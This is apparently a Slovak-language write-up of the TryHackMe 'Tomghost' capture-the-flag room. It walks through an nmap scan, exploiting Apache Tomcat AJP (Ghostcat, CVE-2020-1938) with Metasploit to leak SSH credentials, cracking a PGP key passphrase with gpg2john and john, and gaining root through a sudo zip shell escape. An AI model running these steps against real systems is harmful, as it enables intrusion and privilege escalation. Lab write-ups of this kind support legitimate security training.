TryHackMe - Tomghost
Získavanie prihlasovacích údajov pomocou kľúča PGP?
Úvod
Celkom solídna miestnosť, kde som sa veľa naučil. Dešifrovanie kľúča pgp pomocou gpg2john a získanie prístupu na účet užívateľa týmto spôsobom + získanie roota pomocou zip, veľmi zaujímavé.
Nmap
Začneme nmap skenom:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
nmap -T4 -n -sC -sV -Pn -p- 10.10.56.163
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f3:c8:9f:0b:6a:c5:fe:95:54:0b:e9:e3:ba:93:db:7c (RSA)
| 256 dd:1a:09:f5:99:63:a3:43:0d:2d:90:d8:e3:e1:1f:b9 (ECDSA)
|_ 256 48:d1:30:1b:38:6c:c6:53:ea:30:81:80:5d:0c:f1:05 (ED25519)
53/tcp open tcpwrapped
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
| ajp-methods:
|_ Supported methods: GET HEAD POST OPTIONS
8080/tcp open http Apache Tomcat 9.0.30
|_http-title: Apache Tomcat/9.0.30
|_http-favicon: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Máme teda otvorené 4 porty
22/tcp
53/tcp
8009/tcp
8080/tcp
Prieskum
Po rýchlom vyhľadávaní zraniteľností Tomcat
Počiatočný prístup
Spustíme si na to metasploit
1
msfconsole
1
2
3
4
5
6
7
8
9
10
11
12
search cve: CVE-2020-1938
msf6 > search cve: CVE-2020-1938
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/http/tomcat_ghostcat 2020-02-20 normal Yes Apache Tomcat AJP File Read
Interact with a module by name or index. For example info 0, use 0 or use auxiliary/admin/http/tomcat_ghostcat
Zdá sa, že tento modul môžeme použiť
1
2
use auxiliary/admin/http/tomcat_ghostcat
msf6 auxiliary(admin/http/tomcat_ghostcat) >
Teraz sa pozrime, aké možnosti musíme nastaviť
1
2
3
4
5
6
7
8
9
10
11
msf6 auxiliary(admin/http/tomcat_ghostcat) > options
Module options (auxiliary/admin/http/tomcat_ghostcat):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME /WEB-INF/web.xml yes File name
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/u
sing-metasploit.html
RPORT 8009 yes The Apache JServ Protocol (AJP) port (TCP)
Takže musíme nastaviť len RHOSTS (IP vzdialeného cieľa) a spustiť exploit
1
2
3
msf6 auxiliary(admin/http/tomcat_ghostcat) > set RHOSTS 10.10.56.163
RHOSTS => 10.10.56.163
msf6 auxiliary(admin/http/tomcat_ghostcat) > exploit
1
2
3
Welcome to GhostCat
skyfuck:8730281lkjlkjdqlksalks
</description>
Zdá sa, že ide o prihlasovacie údaje, takže ich skúsme použiť cez ssh
1
2
ssh [email protected]
skyfuck@ubuntu:~$
Vlajka Používateľa
Ok, môžeme skutočne získať príznak používateľa v adresári /home/merlin
Root Vlajka
Teraz vidíme 2 súbory
1
2
skyfuck@ubuntu:~$ ls
credential.pgp tryhackme.asc
Potrebujeme získať práva
1
2
3
4
5
6
7
8
9
skyfuck@ubuntu:~$ gpg --import tryhackme.asc
gpg: key C6707170: secret key imported
gpg: key C6707170: public key "tryhackme <[email protected]>" imported
gpg: key C6707170: "tryhackme <[email protected]>" not changed
gpg: Total number processed: 2
gpg: imported: 1
gpg: unchanged: 1
gpg: secret keys read: 1
gpg: secret keys imported: 1
1
2
3
4
5
6
7
8
skyfuck@ubuntu:~$ gpg --decrypt credential.pgp
You need a passphrase to unlock the secret key for
user: "tryhackme <[email protected]>"
1024-bit ELG-E key, ID 6184FBCC, created 2020-03-11 (main key ID C6707170)
gpg: gpg-agent is not available in this session
Enter passphrase:
Na to budeme potrebovať prístupovú frázu
Poďme si stiahnuť dostupné súbory
1
scp [email protected]:/home/skyfuck/* /home/rene/Desktop/
A poďme použiť gpg2john na prelomenie súboru tryhackme.asc
1
2
gpg2john tryhackme.asc > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
Teraz pomocou prístupovej frázy získame hash zo súboru credential.pgp
Teraz použime naše nové prihlasovacie údaje na prihlásenie ako merlin
1
2
└─$ ssh [email protected]
[email protected]'s password:
1
2
3
4
5
6
merlin@ubuntu:~$ sudo -l
Matching Defaults entries for merlin on ubuntu:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User merlin may run the following commands on ubuntu:
(root : root) NOPASSWD: /usr/bin/zip
Takže sme teraz novým používateľom a môžeme mať root prístup k zip
, čo znamená, že musíme vytvoriť súbor a zazipovať ho
Po rýchlom vyhľadávaní v Google môžeme použiť existujúcu techniku na eskalovanie privilégií
1
2
3
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF
A získavame root vlajku